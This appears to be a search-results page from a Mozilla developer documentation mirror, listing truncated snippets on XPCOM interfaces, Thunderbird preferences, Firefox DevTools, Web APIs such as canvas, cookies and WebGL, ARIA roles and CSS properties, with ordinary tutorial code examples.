nsIFeedTextConstruct
some extension elements also include "type" parameters, and this interface could be used to represent those as well.
... lang astring the language of the text (such as "en-us" for u.s.
...this string may contain markup if the type is either "html" or "xhtml".
...And 5 more matches
nsIHttpServer
an example : https://github.com/laurentj/slimerjs/blob/master/src/modules/webserver.jsm var exported_symbols = ["create"]; components.utils.import("resource://gre/modules/services.jsm"); function create() { var server = components.classes["@mozilla.org/server/jshttp;1"] .createinstance(components.interfaces.nsihttpserver); return { get objectname () { return "webserver"; }, /** * @param integer|string port port or "host:port" * @param object opt optional options.
... (not supported) * @param function callback optional callback */ listen: function(port, opt, callback) { if (arguments.length == 2 && "function" == typeof opt) { callback = opt; } if (callback) { this.registerprefixhandler("/", callback); } let host = "localhost"; if (typeof port === "string" && port.indexof(':') != -1){ [host, port] = port.split(':'); port = parseint(port); server.identity.add('http', host, port); } server.wrappedjsobject._start(port, host); return true; }, registerfile: function(path, filepath) { var file = components.classes['@m...
... * * @param path * the path which is to be mapped to the given file; must begin with "/" and * be a valid uri path (i.e., no query string, hash reference, etc.) * @param file * the file to serve for the given path, or null to remove any mapping that * might exist; this file must exist for the lifetime of the server */ void registerfile(in string path, in nsifile file); /** * registers a custom path handler.
...And 5 more matches
nsILoginInfo
to create an instance, use: var logininfo = components.classes["@mozilla.org/login-manager/logininfo;1"] .createinstance(components.interfaces.nsilogininfo); method overview nsilogininfo clone(); boolean equals(in nsilogininfo alogininfo); void init(in astring ahostname, in astring aformsubmiturl, in astring ahttprealm, in astring ausername, in astring apassword, in astring ausernamefield, in astring apasswordfiel...
...for logins obtained from html forms, this field is the action attribute from the form element, with the path removed (for example, "https://www.site.com").
...this field is null for logins attained from protocol authentications and "" means to match against any form action.
...And 5 more matches
nsINavHistoryService
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 22 (firefox 22 / thunderbird 22 / seamonkey 2.19) implemented by: "@mozilla.org/browser/nav-history-service;1".
... to use this service, use: var historyservice = components.classes["@mozilla.org/browser/nav-history-service;1"] .getservice(components.interfaces.nsinavhistoryservice); method overview astring getpagetitle(in nsiuri auri); void markpageasfollowedbookmark(in nsiuri auri); void markpageasfollowedlink(in nsiuri auri); void markpageastyped(in nsiuri auri); boolean canadduri(in nsiuri auri); long long addvisit(in nsiuri auri, in prtime atime, in nsiuri areferringuri, in long atransitiontype, in boolean aisredirect, in long long asessionid); obsolete since gecko 22.0 nsinavhistoryquery getnewquery(); nsinavhistoryqueryoptions getnewqueryoptions(); nsinavhistoryresult executequery...
...this can be used in ui to determine whether the "clear history" button should be enabled or not.
...And 5 more matches
nsIPrintingPrompt
each platform has a "base" or "backstop" implementation of the service.
... defaults for platform service: showprintdialog - displays a native dialog showpagesetup() - displays a xul dialog showprogress() - displays a xul dialog summary for windows embedders: stated once again: there is no "fallback" native platform support in gfx for the displaying of the native print dialog.
...it is located at "mozilla/embedding/components/printingui/src/win".
...And 5 more matches
nsIURL
\ \ / \ ----------------------- \ | / \ filename / ---------------------------- | filepath you can get a nsiurl from an nsiuri, using the queryinterface() method: var myuri = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice) .newuri("http://developer.mozilla.org", null, null); try { var myurl = myuri.queryinterface(components.interfaces.nsiurl); } catch(e) { // the uri is not an url } or using instanceof: if (myuri instanceof components.interfaces.nsiurl) { // your code here } method...
...for example, the filepath of "http://host/foo/bar.html#baz" is "/foo/bar.html".
... query autf8string query portion (the part after the "?") of the url.
...And 5 more matches
Performance
you might also want to try to the "explain" feature on your statements to see if they are using the indices you expect.
... type "explain" followed by your statement to see the plan.
...a command that will give you a higher level overview is "explain query plan".
...And 5 more matches
XPIDL Syntax
MozillaTechXPIDLSyntax
a `#include "file"' line instructs the xpidl processor to include that file in the same sense that the c preprocessor includes a file.
...idl_file = 1*definition definition = [type_decl / const_decl / interface] ";" interface = [prop_list] "interface" ident [[inheritance] "{" *(ifacebody) "}"] inheritance = ":" *(scoped_name ",") scoped_name] ifacebody = [type_decl / op_decl /attr_decl / const_decl] ";" / codefrag type_decl = [prop_list] "typedef" type_spec *(ident ",") ident type_decl /= [prop_list] "native" ident [parens] const_decl = "const" type_spec ident "=" expr op_decl = [prop_list] (type_spec / "void") p...
...arameter_decls raise_list parameter_decls = "(" [*(param_decl ",") param_decl] ")" param_decl = [prop_list] ("in" / "out" / "inout") type_spec ident attr_decl = [prop_list] ["readonly"] "attribute" type_spec *(ident ",") ident ; descending order of precedence expr /= expr ("|" / "^" / "&") expr ; unequal precedence "|" is lowest expr /= expr ("<<" / ">>") expr expr /= expr ("+" / "-") expr expr /= expr ("*" / "/" / "%") expr expr /= ["-" / "+" / "~"] (scoped_name / literal / "(" expr ")" ) ; numeric literals: quite frankly, i'm sure you know how these kinds of ; literals work, and these are annoying to specify in abnf.
...And 5 more matches
customDBHeaders Preference
in addition to the preference outlined in setting up extension development environment, you'll want to add the following preferences: // this allows you to add extra headers while composing messages user_pref("mail.compose.other.header", "x-superfluous,x-other,x-whatever"); // this enables the preservation of custom headers as incoming mail is processed user_pref( "mailnews.customdbheaders", "x-superfluous,x-other"); important: please pay careful attention to the case of the mailnews.customdbheaders preference.
...user_pref( "mailnews.customdbheaders", "x-superfluous x-other"); adding a column the reply-to column tutorial does a good job of explaining how to add a column with an overlay, so i'll just show you my overlay file: <?xml version="1.0" ?> <overlay id="colsuperfluousoverlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type='application/javascript' src='chrome://superfluous/content/superfluous.js'/> ...
...<tree id="threadtree"> <treecols id="threadcols"> <splitter class="tree-splitter" /> <treecol id="colsuperfluous" persist="hidden ordinal width" currentview="unthreaded" flex="1" label="superfluous" tooltiptext="click to sort by superfluous" /> </treecols> </tree> </overlay> you should insure that whatever id you use for the treecol you're adding matches the reference from your javascript code (i.e.
...And 5 more matches
Using the Multiple Accounts API
as an example, the above structure would be represented in your preferences like this: user_pref("mail.accountmanager.accounts", "account1,account2,account3"); user_pref("mail.account.account1.server", "server1"); user_pref("mail.account.account1.identities", "id1"); user_pref("mail.account.account2.server", "server2"); user_pref("mail.account.account2.identities", "id3"); user_pref("mail.account.account3.server", "server3"); user_pref("mail.account.account3.identities", "id3"); user_pref("mai...
...l.account.account4.server", "server4"); user_pref("mail.account.account4.identities", "id2,id3"); user_pref("mail.server.server1.hostname", "imap.mywork.com"); user_pref("mail.server.server2.hostname", "pop.myisp.com"); user_pref("mail.server.server3.hostname", "news.myisp.com"); user_pref("mail.server.server4.hostname", "news.mozilla.org"); user_pref("mail.identity.id1.useremail", "alecf@mywork.com"); user_pref("mail.identity.id2.useremail", "alecf@myisp.com"); user_pref("mail.identity.id3.useremail", "alecfnospam@myisp.com"); there is a lot of information missing here of course.
...these keys are listed in the value of some of these preferences, such as "mail.accountmanager.accounts", and are used to construct the preference names, such as "mail.account.account1.server".
...And 5 more matches
Accessibility Inspector - Firefox Developer Tools
actions — a list of actions that can be performed on the item, for example, a pushbutton would have "press" listed, while a link would have "jump" listed.
...you can click on the "target" icon that comes after it to select the node in the page inspector.
... hovering over the "target" icon highlights the dom node in the page content.
...And 5 more matches
Examine and edit HTML - Firefox Developer Tools
for example, //a matches all <a> elements but not the letter "a" within the text content.
... if a shadow dom contains a "slotted" element (an element with a slot attribute after it has been inserted inside a <slot> element — see adding flexibility with slots for an explanation of how these are used), the "slotted" element will be shown inside its corresponding <slot> element, with a "reveal" link alongside it.
... clicking the "reveal" link will highlight the element with the slot attribute as it exists outside the shadow dom this is very useful when you've got a <slot> element and you can't find the source of its content.
...And 5 more matches
Allocations - Firefox Developer Tools
to enable the allocations view, you must check "record allocations" in the performance tool settings, before recording a profile.
... then record a profile as usual, and you will see a new tab labeled "allocations" in the toolbar: anatomy of the allocations view the allocations view looks something like this: the allocations view periodically samples allocations that are made over the recording.
... it includes the following columns: self count: the number of allocation-samples that were taken in this function (also shown as a percentage of the total) self bytes: the total number of bytes allocated in the allocation-samples in this function (also shown as a percentage of the total) rows are sorted by the "self bytes" column.
...And 5 more matches
Settings - Firefox Developer Tools
to see the settings, open any of the developer tools, and then: click the "settings" command in the menu: or press f1 to toggle between the active tool and the settings pane the settings pane looks something like this: categories default firefox developer tools this group of checkboxes determines which tools are enabled in the toolbox.
... as of firefox 62, if the option to "select an iframe as the currently targeted document" is checked, the icon will appear in the toolbar while the settings tab is displayed, even if the current page doesn't include any iframes.
... note that in firefox 52 we removed the checkbox to toggle the "select element" button.
...And 5 more matches
CanvasRenderingContext2D.lineCap - Web APIs
syntax ctx.linecap = "butt" || "round" || "square"; options "butt" the ends of lines are squared off at the endpoints.
... "round" the ends of lines are rounded.
... "square" the ends of lines are squared off by adding a box with an equal width and half the height of the line's thickness.
...And 5 more matches
CanvasRenderingContext2D.textBaseline - Web APIs
syntax ctx.textbaseline = "top" || "hanging" || "middle" || "alphabetic" || "ideographic" || "bottom"; options possible values: "top" the text baseline is the top of the em square.
... "hanging" the text baseline is the hanging baseline.
... (used by tibetan and other indic scripts.) "middle" the text baseline is the middle of the em square.
...And 5 more matches
Basic usage of canvas - Web APIs
the <canvas> element <canvas id="tutorial" width="150" height="150"></canvas> at first sight a <canvas> looks like the <img> element, with the only clear difference being that it doesn't have the src and alt attributes.
...this can look something like this: <canvas id="stockgraph" width="150" height="150"> current stock price: $3.15 + 0.15 </canvas> <canvas id="clock" width="150" height="150"> <img src="images/clock.png" width="150" height="150" alt=""/> </canvas> telling the user to use a different browser that supports canvas does not help users who can't read the canvas at all, for example.
... if fallback content is not needed, a simple <canvas id="foo" ...></canvas> is fully compatible with all browsers that support canvas at all.
...And 5 more matches
Document.cookie - Web APIs
WebAPIDocumentcookie
if the server omits the path attribute the "directory" of the request uri is used.
... examples example #1: simple usage document.cookie = "name=oeschger"; document.cookie = "favorite_food=tripe"; function alertcookie() { alert(document.cookie); } <button onclick="alertcookie()">show cookies</button> example #2: get a sample cookie named test2 document.cookie = "test1=hello"; document.cookie = "test2=world"; const cookievalue = document.cookie .split('; ') .find(row => row.startswith('test2')) .split('=')[1]; function...
... alertcookievalue() { alert(cookievalue); } <button onclick="alertcookievalue()">show cookie value</button> example #3: do something only once in order to use the following code, please replace all occurrences of the word dosomethingonlyonce (the name of the cookie) with a custom name.
...And 5 more matches
Event.eventPhase - Web APIs
WebAPIEventeventPhase
example html <h4>event propagation chain</h4> <ul> <li>click 'd1'</li> <li>analyse event propagation chain</li> <li>click next div and repeat the experience</li> <li>change capturing mode</li> <li>repeat the experience</li> </ul> <input type="checkbox" id="chcapture" /> <label for="chcapture">use capturing</label> <div id="d1">d1 <div id="d2">d2 <div id="d3">d3 <div id="d4">d4</div> </div> </div> </div> <div id="divinfo"></div> css div { margin: 20px; padding: 4px; border: thin black solid; } #divinfo { margin: 18px; padding: 8px; background-color:white; font-size:80%; } javascript le...
...false; window.onload = function () { divinfo = document.getelementbyid('divinfo') divs = document.getelementsbytagname('div') chcapture = document.getelementbyid('chcapture') chcapture.onclick = function () { removelisteners() addlisteners() } clear() addlisteners() } function removelisteners() { for (let i = 0; i < divs.length; i++) { let d = divs[i] if (d.id != "divinfo") { d.removeeventlistener("click", ondivclick, true) d.removeeventlistener("click", ondivclick, false) } } } function addlisteners() { for (let i = 0; i < divs.length; i++) { let d = divs[i] if (d.id != "divinfo") { if (chcapture.checked) { d.addeventlistener("click", ondivclick, true) } else { d.addeventlistener(...
..."click", ondivclick, false) d.onmousemove = function () { clear = true } } } } } function ondivclick(e) { if (clear) { clear() clear = false } if (e.eventphase == 2) e.currenttarget.style.backgroundcolor = 'red'; let level = e.eventphase == 0 ?
...And 5 more matches
HTMLImageElement.alt - Web APIs
if the image doesn't require a fallback (such as for an image which is simply decorative or an advisory icon of minimal importance), you may specify an empty string ("").
... decorative images images with no semantic meaning—such as those which are solely decorative—or of limited informational value, should have their alt attributes set to the empty string ("").
... <div class="container"> <div class="left-margin"> <img src="/files/16861/margin-flourish.svg" alt=""> </div> <div class="contents"> <p>lorem ipsum dolor sit amet, consectetur adipiscing elit.
...And 5 more matches
In depth: Microtasks and the JavaScript runtime environment - Web APIs
this is frequently referred to as a "local context." using the ill-advised eval() function also creates a new execution context.
...consider the javascript program below: let outputelem = document.getelementbyid("output"); let userlanguages = { "mike": "en", "teresa": "es" }; function greetuser(user) { function localgreeting(user) { let greeting; let language = userlanguages[user]; switch(language) { case "es": greeting = `¡hola, ${user}!`; break; case "en": default: greeting = `hello, ${user}!`; break; } return greeting; } outputelem.innerhtml += localgreeting(user) + "<br>\r"; } greetuser("mike"); greetuser("teresa"); gre...
...etuser("veronica"); this short program contains three execution contexts, some of which are created and destroyed several times over the course of the program's execution.
...And 5 more matches
Browser storage limits and eviction criteria - Web APIs
we term them "quota clients" in this context: indexeddb asm.js caching cache api cookies note: in firefox, web storage will soon start to use the same storage management tools too, as described in this document.
... the "last access time" of origins is updated when any of these are activated/deactivated — origin eviction will delete data for all these quota clients.
...profile (other browsers may differ slightly): <profile>/storage — the main top-level directory for storages maintained by the quota manager (see below) <profile>/storage/permanent — persistent data storage repository <profile>/storage/temporary — temporary data storage repository <profile>/storage/default — default data storage repository note: after introducing storage api, the "permanent" folder can be considered obsolete; the "permanent" folder only stores indexeddb persistent-type databases.
...And 5 more matches
KeyboardEvent.code - Web APIs
for example, the code returned is "keyq" for the q key on a qwerty layout keyboard, but the same code value also represents the ' key on dvorak keyboards and the a key on azerty keyboards.
... examples exercising keyboardevent html <p>press keys on the keyboard to see what the keyboardevent's key and code values are for each one.</p> <div id="output"> </div> css #output { font-family: arial, helvetica, sans-serif; border: 1px solid black; } javascript window.addeventlistener("keydown", function(event) { let str = "keyboardevent: key='" + event.key + "' | code='" + event.code + "'"; let el = document.createelement("span"); el.innerhtml = str + "<br/>"; document.getelementbyid("output").appendchild(el); }, t...
... handle keyboard events in a game this example establishes an event listener for keydown events that handle keyboard input for a game that uses the typical "wasd" keyboard layout for steering forward, left, backward, and right.
...And 5 more matches
MediaTrackSettings - Web APIs
common values include 1.3333333333 (for the classic television 4:3 "standard" aspect ratio, also used on tablets such as apple's ipad), 1.7777777778 (for the 16:9 high-definition widescreen aspect ratio), and 1.6 (for the 16:10 aspect ratio common among widescreen computers and tablets).
...the value will be one of: "user" a camera facing the user (commonly known as a "selfie cam"), used for self-portraiture and video calling.
... "environment" a camera facing away from the user (when the user is looking at the screen).
...And 5 more matches
Pointer events - Web APIs
ction enter_handler(event) { } function down_handler(event) { } function move_handler(event) { } function up_handler(event) { } function cancel_handler(event) { } function out_handler(event) { } function leave_handler(event) { } function gotcapture_handler(event) { } function lostcapture_handler(event) { } function init() { var el=document.getelementbyid("target"); // register pointer event handlers el.onpointerover = over_handler; el.onpointerenter = enter_handler; el.onpointerdown = down_handler; el.onpointermove = move_handler; el.onpointerup = up_handler; el.onpointercancel = cancel_handler; el.onpointerout = out_handler; el.onpointerleave = leave_handler; el.gotpointercapture = gotcap...
...ture_handler; el.lostpointercapture = lostcapture_handler; } </script> <body onload="init();"> <div id="target"> touch me ...
...cess_non_primary(event) { // non primary handler } function down_handler(ev) { // calculate the touch point's contact area var area = ev.width * ev.height; // compare cached id with this event's id and process accordingly if (id == ev.identifier) process_id(ev); // call the appropriate pointer type handler switch (ev.pointertype) { case "mouse": process_mouse(ev); break; case "pen": process_pen(ev); break; case "touch": process_touch(ev); break; default: console.log("pointertype " + ev.pointertype + " is not suported"); } // call the tilt handler if (ev.tiltx != 0 && ev.tilty != 0) process_tilt(ev.tiltx, ev.tilty); ...
...And 5 more matches
RTCPeerConnection.signalingState - Web APIs
for example, if you receive an answer while the signalingstate isn't "have-local-offer", you know that something is wrong, since you should only receive answers after creating an offer but before an answer has been received and passed into rtcpeerconnection.setlocaldescription().
... constant description "stable" there is no ongoing exchange of offer and answer underway.
... "have-local-offer" the local peer has called rtcpeerconnection.setlocaldescription(), passing in sdp representing an offer (usually created by calling rtcpeerconnection.createoffer()), and the offer has been applied successfully.
...And 5 more matches
SVGCircleElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 700 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151"...
... y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><p...
...olyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" wi...
...And 5 more matches
Selection.modify() - Web APIs
WebAPISelectionmodify
specify "move" to move the current cursor position or "extend" to extend the current selection.
...you can specify "forward" or "backward" to adjust in the appropriate direction based on the language at the selection point.
... if you want to adjust in a specific direction, you can specify "left" or "right".
...And 5 more matches
A basic 2D WebGL animation example - Web APIs
<script id="vertex-shader" type="x-shader/x-vertex"> attribute vec2 avertexposition; uniform vec2 uscalingfactor; uniform vec2 urotationvector; void main() { vec2 rotatedposition = vec2( avertexposition.x * urotationvector.y + avertexposition.y * urotationvector.x, avertexposition.y * urotationvector.y - avertexposition.x * urotationvector.x ); gl_pos...
...since we're drawing a solid, untextured object with no lighting applied, this is exceptionally simple: <script id="fragment-shader" type="x-shader/x-fragment"> #ifdef gl_es precision highp float; #endif uniform vec4 uglobalcolor; void main() { gl_fragcolor = uglobalcolor; } </script> this starts by specifying the precision of the float type, as required.
... <canvas id="glcanvas" width="600" height="460"> oh no!
...And 5 more matches
Clearing with colors - Web APIs
there are many "dials" and "switches" that affect drawing with webgl.
...by tweaking those "dials" and "switches" you can modify the internal state of the webgl machine, which in turn changes how input (in this case, a clear command) translates into output (in this case, all pixels are set to green).
...window.addeventlistener("load", function setupwebgl (evt) { "use strict" // cleaning after ourselves.
...And 5 more matches
Detect WebGL - Web APIs
this is also done in other graphics {̣{glossary("api")}}, such as the canvas 2d rendering context.
...window.addeventlistener("load", function() { var paragraph = document.queryselector("p"), button = document.queryselector("button"); // adding click event handler to button.
... button.addeventlistener("click", detectwebglcontext, false); function detectwebglcontext () { // create canvas element.
...And 5 more matches
Controlling multiple parameters with ConstantSourceNode - Web APIs
<div class="controls"> <div class="left"> <div id="playbutton" class="button"> ▶️ </div> </div> <div class="right"> <span>volume: </span> <input type="range" min="0.0" max="1.0" step="0.01" value="0.8" name="volume" id="volumecontrol"> </div> </div> <p>use the button above to start and stop the tones, and the volume control to change the volume of the notes e and g i...
...n the chord.</p> css .controls { width: 400px; position: relative; vertical-align: middle; height: 44px; } .button { font-size: 32px; cursor: pointer; user-select: none; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; -o-user-select: none; } .right { width: 50%; font: 14px "open sans", "lucida grande", "arial", sans-serif; position: absolute; right: 0; display: table-cell; vertical-align: middle; } .right span { vertical-align: middle; } .right input { vertical-align: baseline; } .left { width: 50%; position: absolute; left: 0; display: table-cell; vertical-align: middle; } .left span, .left input { vertical-align: middle; } javascript now let's take a look at the javascript code, a piece at a time.
... function setup() { context = new (window.audiocontext || window.webkitaudiocontext)(); playbutton = document.queryselector("#playbutton"); volumecontrol = document.queryselector("#volumecontrol"); playbutton.addeventlistener("click", toggleplay, false); volumecontrol.addeventlistener("input", changevolume, false); gainnode1 = context.creategain(); gainnode1.gain.value = 0.5; gainnode2 = context.creategain(); gainnode3 = context.creategain(); gainnode2.gain.value = gainnode1.gain.value; gainnode3.ga...
...And 5 more matches
Migrating from webkitAudioContext - Web APIs
the example below shows old code which downloads an audio file over the network, and then decoded it using createbuffer(): var xhr = new xmlhttprequest(); xhr.open("get", "/path/to/audio.ogg", true); xhr.responsetype = "arraybuffer"; xhr.send(); xhr.onload = function() { var decodedbuffer = context.createbuffer(xhr.response, false); if (decodedbuffer) { // decoding was successful, do something useful with the audio buffer } else { alert("decoding the audio buffer failed"); } }; converting this code to use decodeaudiodata() is relatively simp...
...le, as can be seen below: var xhr = new xmlhttprequest(); xhr.open("get", "/path/to/audio.ogg", true); xhr.responsetype = "arraybuffer"; xhr.send(); xhr.onload = function() { context.decodeaudiodata(xhr.response, function onsuccess(decodedbuffer) { // decoding was successful, do something useful with the audio buffer }, function onfailure() { alert("decoding the audio buffer failed"); }); }; note that the decodeaudiodata() method is asynchronous, which means that it will return immediately, and then when the decoding finishes, one of the success or failure callback functions will get called depending on whether the audio decoding was successful.
...t code: var osc = context.createoscillator(); osc.type = osc.sine; // sine waveform osc.type = osc.square; // square waveform osc.type = osc.sawtooth; // sawtooth waveform osc.type = osc.triangle; // triangle waveform osc.setwavetable(table); var iscustom = (osc.type == osc.custom); // iscustom will be true // new standard audiocontext code: var osc = context.createoscillator(); osc.type = "sine"; // sine waveform osc.type = "square"; // square waveform osc.type = "sawtooth"; // sawtooth waveform osc.type = "triangle"; // triangle waveform osc.setperiodicwave(table); // note: setwavetable has been renamed to setperiodicwave!
...And 5 more matches
window.location - Web APIs
WebAPIWindowlocation
syntax var oldlocation = location; location = newlocation; examples basic example alert(location); // alerts "/docs/web/api/window/location" example #1: navigate to a new page whenever a new value is assigned to the location object, a document will be loaded using the url as if location.assign() had been called with the modified url.
... location.assign("http://www.mozilla.org"); // or location = "http://www.mozilla.org"; example #2: force reloading the current page from the server location.reload(true); example #3 consider the following example, which will reload the page by using the replace() method to insert the value of location.pathname into the hash: function reloadpagewithhash() { var initialpage = location.pathname; location.replace('http://example.com/#' + initialpage); } example #4: display the properties of the current url in an alert dialog: function showloc() { var olocation = location, alog = ["property (typeof): value", "location (" + (typeof olocation) + "): " + olocation ]; for (var sprop in olocation){ alo...
...g.push(sprop + " (" + (typeof olocation[sprop]) + "): " + (olocation[sprop] || "n/a")); } alert(alog.join("\n")); } // in html: <button onclick="showloc();">show location properties</button> example #5: send a string of data to the server by modifying the search property: function senddata (sdata) { location.search = sdata; } // in html: <button onclick="senddata('some data');">send data</button> the current url with "?some%20data" appended is sent to the server (if no action is taken by the server, the current document is reloaded with the modified search string).
...And 5 more matches
ARIA: contentinfo role - Accessibility
<div role="contentinfo"> <h2>footer</h2> <!-- footer content --> </div> this is a website footer.
... each page should only include one contentinfo landmark, created by either using the <footer> element or by declaring role="contentinfo".
... examples <body> <!-- other page content --> <div role="contentinfo"> <h2>mdn web docs</h2> <ul> <li><a href="#">web technologies</a></li> <li><a href="#">learn web development</a></li> <li><a href="#">about mdn</a></li> <li><a href="#">feedback</a></li> </ul> <p>© 2005-2018 mozilla and individual contributors.
...And 5 more matches
ARIA: dialog role - Accessibility
<div role="dialog" aria-labelledby="dialog1title" aria-describedby="dialog1desc"> <h2 id="dialog1title">your personal details were successfully updated</h2> <p id="dialog1desc">you can change your details at any time in the user account section.</p> <button>close</button> </div> description marking up a dialog element with the dialog role helps assistive technology identify the dialog's content as be...
...however, adding role="dialog" alone is not sufficient to make a dialog accessible.
...the best way to achieve this is by using the aria-labelledby attribute to the role="dialog" element.
...And 5 more matches
Operable - Accessibility
this is often achieved using "skip links" — links put at the top of the page source that link to the main content and are hidden by css.
... if a proper structure of headings and semantic containers is provided to navigate with (for example <section>, <aside>, etc.), then an added "skip link" is not needed.
... need to add a section on "skip links".
...And 5 more matches
Attribute selectors - CSS: Cascading Style Sheets
/* <a> elements with a title attribute */ a[title] { color: purple; } /* <a> elements with an href matching "https://example.org" */ a[href="https://example.org"] { color: green; } /* <a> elements with an href containing "example" */ a[href*="example"] { font-size: 2em; } /* <a> elements with an href ending ".org" */ a[href$=".org"] { font-style: italic; } /* <a> elements whose class attribute contains the word "logo" */ a[class~="logo"] { padding: 2px; } syntax [attr] represents elements with an attribute name of attr.
... examples links css a { color: blue; } /* internal links, beginning with "#" */ a[href^="#"] { background-color: gold; } /* links with "example" anywhere in the url */ a[href*="example"] { background-color: silver; } /* links with "insensitive" anywhere in the url, regardless of capitalization */ a[href*="insensitive" i] { color: cyan; } /* links with "case" anywhere in the url, with matching capitalization */ a[href*="case" s] { color: pink; } /* links t...
...hat end in ".org" */ a[href$=".org"] { color: red; } /* links that start with "https" and end in ".org" */ a[href^="https"][href$=".org"] { color: green; } html <ul> <li><a href="#internal">internal link</a></li> <li><a href="http://example.com">example link</a></li> <li><a href="#insensitive">insensitive internal link</a></li> <li><a href="http://example.org">example org link</a></li> <li><a href="https://example.org">example https org link</a></li> </ul> result languages css /* all divs with a `lang` attribute are bold.
...And 5 more matches
flex - CSS: Cascading Style Sheets
WebCSSflex
this is equivalent to setting "flex: 0 1 auto".
...this is equivalent to setting "flex: 1 1 auto".
...this is equivalent to setting "flex: 0 0 auto".
...And 5 more matches
scroll-snap-stop - CSS: Cascading Style Sheets
the scroll-snap-stop css property defines whether the scroll container is allowed to "pass over" possible snap positions.
... /* keyword values */ scroll-snap-stop: normal; scroll-snap-stop: always; /* global values */ scroll-snap-type: inherit; scroll-snap-type: initial; scroll-snap-type: unset; syntax values normal when the visual viewport of this element's scroll container is scrolled, it may "pass over" possible snap positions.
... always the scroll container must not "pass over" a possible snap position; and must snap to the first of this elements' snap positions.
...And 5 more matches
scroll-snap-type - CSS: Cascading Style Sheets
examples snapping in different axes html <div class="holster"> <div class="container x mandatory-scroll-snapping" dir="ltr"> <div>x mand.
... ltr</div> <div>2</div> <div>3</div> <div>4</div> <div>5</div> </div> <div class="container x proximity-scroll-snapping" dir="ltr"> <div>x prox.
... ltr</div> <div>2</div> <div>3</div> <div>4</div> <div>5</div> </div> <div class="container y mandatory-scroll-snapping" dir="ltr"> <div>y mand.
...And 5 more matches
WAI ARIA Live Regions/API Support - Developer guides
retrieving author-supplied aria live region semantics from an event for any mutation event in a page, the author can get the following object attributes from the event object, if they are defined on some ancestor element (closest ancestor wins): object attribute name possible values default value if not specified meaning aria markup if required container-live "off" | "polite" | "assertive" "off" interruption policy aria-live on ancestor element container-relevant "[additions] [removals] [text]" | "all" "additions text" what types of mutations are possibly relevant?
... aria-relevant on ancestor element container-busy "true" | "false" | "error" "false" the current changes are not yet complete.
... aria-busy on ancestor element container-atomic "true" | "false" "false" is this change inside a region that should always be presented at once.
...And 5 more matches
Adding captions and subtitles to HTML5 video - Developer guides
we actually have our subtitles in three different languages — english, german, and spanish — so we will reference all three of the relevant vtt files by adding <track> elements inside our html5 <video> element: <video id="video" controls preload="metadata"> <source src="video/sintel-short.mp4" type="video/mp4"> <source src="video/sintel-short.webm" type="video/webm"> <track label="english" kind="subtitles" srclang="en" src="captions/vtt/sintel-en.vtt" default> <track label="deutsch" kind="subtitles" srclang="de" src="captions/vtt/sintel-de.vtt"> <track label="español" kind="subtitles" srclang="es" s...
...rc="captions/vtt/sintel-es.vtt"> </video> as you can see, each <track> element has the following attributes set: kind is given a value of subtitles, indicating the type of content the files contain label is given a value indicating which language that subtitle set is for — for example english or deutsch — these labels will appear in the user interface to allow the user to easily select which subtitle language they want to see.
...as a consequence, the video controls now look as follows: <div id="video-controls" class="controls" data-state="hidden"> <button id="playpause" type="button" data-state="play">play/pause</button> <button id="stop" type="button" data-state="stop">stop</button> <div class="progress"> <progress id="progress" value="0" min="0"> <span id="progress-bar"></span> </progress> </div> <button id="mute" type="button" data-state="mute">mute...
...And 5 more matches
Audio and video manipulation - Developer guides
write the manipulated data to your "display" <canvas>.
...ordinarily, if you were implementing a "play video in greyscale" feature, you'd probably add display: none to the style for the <video> element, to keep the source video from being drawn to the screen while showing only the canvas showing the altered frames.
... html we can set up our video player and <canvas> element like this: <video id="my-video" controls="true" width="480" height="270" crossorigin="anonymous"> <source src="https://udn.realityripple.com/samples/5b/8cd6da9c65.webm" type="video/webm"> <source src="https://udn.realityripple.com/samples/6f/08625b424a.m4v" type="video/mp4"> </video> <canvas id="my-canvas" width="480" height="270"></canvas> javascript this code handles altering the frames.
...And 5 more matches
Writing forward-compatible websites - Developer guides
for example, if you have this markup: <div onclick="alert(ownerdocument)">click me</div> then clicking on the text alerts the ownerdocument of the div.
... to avoid this, fully qualify global variable access using "window.", like so: <script> function localname() { alert('function localname has been called'); } </script> <div onclick="window.localname()">clicking me should show an alert<div> don't concatenate scripts you don't control the "use strict;" directive in ecmascript, when used on the file level, applies to everything in the file.
